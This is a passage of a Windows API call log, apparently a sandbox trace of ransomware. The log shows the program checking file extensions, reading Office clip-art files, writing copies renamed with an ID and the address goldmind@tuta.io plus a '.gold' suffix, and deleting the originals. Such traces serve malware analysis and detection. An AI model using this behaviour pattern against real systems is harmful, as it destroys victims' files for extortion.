(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".doc") returned 4 [0107.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".docx") returned 5 [0107.513] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.513] lstrlenW (lpString=".pdf") returned 4 [0107.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".xls") returned 4 [0107.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.513] lstrlenW (lpString=".xlsx") returned 5 [0107.513] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.513] lstrlenW (lpString=".ppt") returned 4 [0107.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".zip") returned 4 [0107.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.513] lstrlenW (lpString=".rar") returned 4 [0107.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".bz2") returned 4 [0107.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".7z") returned 3 [0107.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".dbf") returned 4 [0107.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".1cd") returned 4 [0107.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".jpg") returned 4 [0107.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".doc") returned 4 [0107.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".docx") returned 5 [0107.513] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.513] lstrlenW (lpString=".pdf") returned 4 [0107.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".xls") returned 4 [0107.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.513] lstrlenW (lpString=".xlsx") returned 5 [0107.513] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.513] lstrlenW (lpString=".ppt") returned 4 [0107.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".zip") returned 4 [0107.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.513] lstrlenW (lpString=".rar") returned 4 [0107.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".bz2") returned 4 [0107.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.513] lstrlenW (lpString=".7z") returned 3 [0107.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.513] lstrlenW (lpString=".dbf") returned 4 [0107.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.514] lstrlenW (lpString=".1cd") returned 4 [0107.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0107.514] lstrlenW (lpString=".jpg") returned 4 [0107.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.514] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.514] lstrlenW (lpString="J0107314.WMF") returned 12 [0107.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.514] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10852) returned 1 [0107.514] CloseHandle (hObject=0x3cc) returned 1 [0107.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0107.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.515] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.515] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.515] GetLastError () returned 0x0 [0107.515] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2a64, lpOverlapped=0x0) returned 1 [0107.517] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2a70, lpOverlapped=0x0) returned 1 [0107.517] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.518] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.518] SetEndOfFile (hFile=0x3b0) returned 1 [0107.518] CloseHandle (hObject=0x3b0) returned 1 [0107.518] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.518] SetEndOfFile (hFile=0x3cc) returned 1 [0107.520] CloseHandle (hObject=0x3cc) returned 1 [0107.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0107.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.522] lstrlenW (lpString=".doc") returned 4 [0107.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.522] lstrlenW (lpString=".docx") returned 5 [0107.522] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.522] lstrlenW (lpString=".pdf") returned 4 [0107.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.522] lstrlenW (lpString=".xls") returned 4 [0107.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.522] lstrlenW (lpString=".xlsx") returned 5 [0107.522] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.522] lstrlenW (lpString=".ppt") returned 4 [0107.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.522] lstrlenW (lpString=".zip") returned 4 [0107.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.522] lstrlenW (lpString=".rar") returned 4 [0107.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.522] lstrlenW (lpString=".bz2") returned 4 [0107.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.522] lstrlenW (lpString=".7z") returned 3 [0107.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString=".dbf") returned 4 [0107.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString=".1cd") returned 4 [0107.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString=".jpg") returned 4 [0107.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString=".doc") returned 4 [0107.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString=".docx") returned 5 [0107.523] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.523] lstrlenW (lpString=".pdf") returned 4 [0107.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString=".xls") returned 4 [0107.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.523] lstrlenW (lpString=".xlsx") returned 5 [0107.523] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.523] lstrlenW (lpString=".ppt") returned 4 [0107.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.523] lstrlenW (lpString=".zip") returned 4 [0107.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.523] lstrlenW (lpString=".rar") returned 4 [0107.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString=".bz2") returned 4 [0107.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.523] lstrlenW (lpString=".7z") returned 3 [0107.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.524] lstrlenW (lpString=".dbf") returned 4 [0107.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.524] lstrlenW (lpString=".1cd") returned 4 [0107.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0107.524] lstrlenW (lpString=".jpg") returned 4 [0107.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.524] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.524] lstrlenW (lpString="J0107316.WMF") returned 12 [0107.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.525] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11288) returned 1 [0107.525] CloseHandle (hObject=0x3cc) returned 1 [0107.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0107.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.526] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.526] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.526] GetLastError () returned 0x0 [0107.526] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2c18, lpOverlapped=0x0) returned 1 [0107.528] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2c20, lpOverlapped=0x0) returned 1 [0107.529] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.529] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.529] SetEndOfFile (hFile=0x3b0) returned 1 [0107.529] CloseHandle (hObject=0x3b0) returned 1 [0107.529] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.529] SetEndOfFile (hFile=0x3cc) returned 1 [0107.531] CloseHandle (hObject=0x3cc) returned 1 [0107.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0107.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.532] lstrlenW (lpString=".doc") returned 4 [0107.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.532] lstrlenW (lpString=".docx") returned 5 [0107.532] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.532] lstrlenW (lpString=".pdf") returned 4 [0107.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.532] lstrlenW (lpString=".xls") returned 4 [0107.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.532] lstrlenW (lpString=".xlsx") returned 5 [0107.532] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.532] lstrlenW (lpString=".ppt") returned 4 [0107.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.532] lstrlenW (lpString=".zip") returned 4 [0107.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.532] lstrlenW (lpString=".rar") returned 4 [0107.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.532] lstrlenW (lpString=".bz2") returned 4 [0107.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".7z") returned 3 [0107.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".dbf") returned 4 [0107.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".1cd") returned 4 [0107.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".jpg") returned 4 [0107.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".doc") returned 4 [0107.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".docx") returned 5 [0107.533] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.533] lstrlenW (lpString=".pdf") returned 4 [0107.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".xls") returned 4 [0107.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.533] lstrlenW (lpString=".xlsx") returned 5 [0107.533] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.533] lstrlenW (lpString=".ppt") returned 4 [0107.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".zip") returned 4 [0107.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.533] lstrlenW (lpString=".rar") returned 4 [0107.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".bz2") returned 4 [0107.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString=".7z") returned 3 [0107.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".dbf") returned 4 [0107.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".1cd") returned 4 [0107.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63 [0107.533] lstrlenW (lpString=".jpg") returned 4 [0107.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.534] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.534] lstrlenW (lpString="J0107328.WMF") returned 12 [0107.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.100] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6532) returned 1 [0108.100] CloseHandle (hObject=0x188) returned 1 [0108.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0108.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.114] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.114] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.115] GetLastError () returned 0x0 [0108.115] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1984, lpOverlapped=0x0) returned 1 [0108.161] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1990, lpOverlapped=0x0) returned 1 [0108.162] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.162] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.162] SetEndOfFile (hFile=0x188) returned 1 [0108.162] CloseHandle (hObject=0x188) returned 1 [0108.162] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.162] SetEndOfFile (hFile=0x3a8) returned 1 [0108.164] CloseHandle (hObject=0x3a8) returned 1 [0108.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0108.165] lstrlenW (lpString=".doc") returned 4 [0108.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".docx") returned 5 [0108.165] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.165] lstrlenW (lpString=".pdf") returned 4 [0108.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.165] lstrlenW (lpString=".xls") returned 4 [0108.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.165] lstrlenW (lpString=".xlsx") returned 5 [0108.165] 